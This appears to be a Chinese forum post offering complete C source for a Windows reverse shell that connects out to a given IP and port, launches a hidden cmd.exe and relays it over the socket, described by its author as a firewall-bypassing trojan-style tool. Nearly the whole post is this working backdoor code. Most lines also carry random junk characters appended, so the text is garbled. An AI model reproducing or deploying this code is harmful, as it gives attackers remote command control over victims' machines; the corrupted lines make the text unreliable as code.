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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O+y-}7YX  
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/* ============================== Zt.'K(]2h  
Rebound port in Windows NT Y. ,Kl~  
By wind,2006/7 Jn{OWw2  
===============================*/ ~//fN}~R  
#include X!e[GJ  
#include $5Xh,DOg  
#Q2Y&2`yGT  
#pragma comment(lib,"wsock32.lib") Y.g59X!Ub2  
J ]nohICe  
void OutputShell(); uc;8 K,[t  
SOCKET sClient; n4}B r;%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?b(=1S\E'^  
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void main(int argc,char **argv) N5a*7EJv+  
{ ?OkWe<:4  
WSADATA stWsaData; sBr_a5QQ#  
int nRet; vI>>\ .ED  
SOCKADDR_IN stSaiClient,stSaiServer; .zi_[  
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if(argc != 3) E[/\7 v\  
{ SQX:7YF~  
printf("Useage:\n\rRebound DestIP DestPort\n"); RhncBKm*M  
return; Ney/[3 A  
} 8C*c{(4  
SHe49!RA'{  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^s|6vd;PD=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xai*CY@cQ  
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stSaiClient.sin_family = AF_INET; a!=D[Gz*5  
stSaiClient.sin_port = htons(0); BO;6 u^[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;7} VBkH  
Zl^\Q=*s  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KET2Ws[w  
{ r>o63Q:  
printf("Bind Socket Failed!\n"); D)L+7N0D~  
return; DGS$Ukz&T  
} \WxukYH  
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stSaiServer.sin_family = AF_INET; o,_? ^'@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n*2UnKaJ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JpXlBEio%  
hDF@'G8F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MF5[lK9e  
{ wB.&}p9p  
printf("Connect Error!"); 0yD9SJn  
return; k?+?v?I =  
} .yz}ROmN^  
OutputShell(); E=nIRG|g  
} vSEuk}pk  
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void OutputShell() As'=tIro  
{ YNQY4\(  
char szBuff[1024]; <0Xf9a8>  
SECURITY_ATTRIBUTES stSecurityAttributes; \W~ N  
OSVERSIONINFO stOsversionInfo; E|iQc8gr&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F(>Np2oi6  
STARTUPINFO stStartupInfo; 1*\o.  
char *szShell; LY%WD%pL  
PROCESS_INFORMATION stProcessInformation; 45@^L's  
unsigned long lBytesRead; YtmrRDQs  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e|"WQ>  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yDzc<p\`  
stSecurityAttributes.lpSecurityDescriptor = 0; LRL,m_gt  
stSecurityAttributes.bInheritHandle = TRUE; VK m&iidU  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qLD ?juas  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q'=x|K#xj  
dYJ(!V&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y [}.yyye  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UtoT  
stStartupInfo.wShowWindow = SW_HIDE; F3On?x)  
stStartupInfo.hStdInput = hReadPipe; Te"ioU?.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k\5c|Wq|g  
~%&LTX0s|  
GetVersionEx(&stOsversionInfo); 9jM}~XvV  
H\ F :95  
switch(stOsversionInfo.dwPlatformId) Lt64JH^lz  
{ <:+x+4ru  
case 1: 5?{ r  
szShell = "command.com"; +^60T$  
break; TM%| '^)  
default: OP[  @k  
szShell = "cmd.exe"; )_YX DU  
break; 9X}10u:  
} ]_f_w 9]  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hOjk3 k  
j#!IuH\]  
send(sClient,szMsg,77,0); cr7 }^s  
while(1) NcBIg:V\c  
{ {$0mwAOH "  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W+I!q:p4H  
if(lBytesRead) /:m-> T  
{ em%4Ap  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ni9/}bb  
send(sClient,szBuff,lBytesRead,0); n<LEler#M  
} ?WGA?J %2  
else %~4M+r6T  
{ -_=nDH  
lBytesRead=recv(sClient,szBuff,1024,0); ,LHn90S  
if(lBytesRead<=0) break; .s?L^Z^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #NEE7'&S  
} L>jY.d2w=K  
} {'7B6  
- YEZ]:"  
return; ha]VWt%}  
}
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